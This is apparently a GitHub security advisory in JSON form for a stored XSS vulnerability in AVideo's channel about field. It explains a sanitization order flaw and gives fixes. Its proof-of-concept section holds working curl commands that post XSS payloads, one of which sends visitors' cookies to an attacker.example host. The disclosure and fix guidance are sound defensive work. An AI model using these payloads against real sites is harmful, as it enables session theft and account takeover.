{"id":"GHSA-ghx5-7jjg-q2j7","summary":"AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field","details":"## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n    $this-\u003eabout = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');\n```\n\nThis encodes `\u003cscript\u003ealert(1)\u003c/script\u003e` to `<script>alert(1)</script>`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace('/\u003c' . $tag . '[^\u003e]*\u003e(.*?)\u003c\\/' . $tag . '\u003e/s', $replacement, $string);\n```\n\nBut the regex looks for literal `\u003cscript\u003e` — it can never match the entity-encoded `<script>`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user-\u003egetAbout());\nif (!empty($advancedCustomUser-\u003eshowAllAboutTextOnChannel)) {\n    echo $about;\n} else {\n?\u003e\n    \u003cdiv id=\"aboutAreaPreContent\"\u003e\n        \u003cdiv id=\"aboutAreaContent\"\u003e\n            \u003c?php echo $about; ?\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `\u003cscript\u003e` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `\u003cimg\u003e` tag is not in the `strip_specific_tags` blocklist (`['script', 'style', 'iframe', 'object', 'applet', 'link']`), so payloads like `\u003cimg src=x onerror=...\u003e` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user-\u003esetAbout($_POST['about']);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible — no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=\u003cimg src=x onerror=alert(document.cookie)\u003e&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker's channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor's browser, displaying their session cookie.\n\n**Alternative payload using `\u003cscript\u003e` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=\u003cscript\u003efetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)\u003c/script\u003e&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended — remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user-\u003egetAbout());\n\n// After (FIXED):\n$about = $user-\u003egetAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this-\u003eabout = strip_specific_tags(xss_esc($about));\n\n// After (FIXED — strip tags on raw HTML first, then encode):\n$this-\u003eabout = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best — if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';\n$config = HTMLPurifier_Config::createDefault();\n$config-\u003eset('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');\n$purifier = new HTMLPurifier($config);\n$this-\u003eabout = $purifier-\u003epurify($about);\n```\n\nAnd on output, remove `html_entity_decode()` — output the purified HTML directly.","aliases":["CVE-2026-33683"],"modified":"2026-03-25T20:26:19.786135Z","published":"2026-03-25T19:52:22Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-25T19:52:22Z","nvd_published_at":"2026-03-23T19:16:41Z","cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33683"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ghx5-7jjg-q2j7/GHSA-ghx5-7jjg-q2j7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}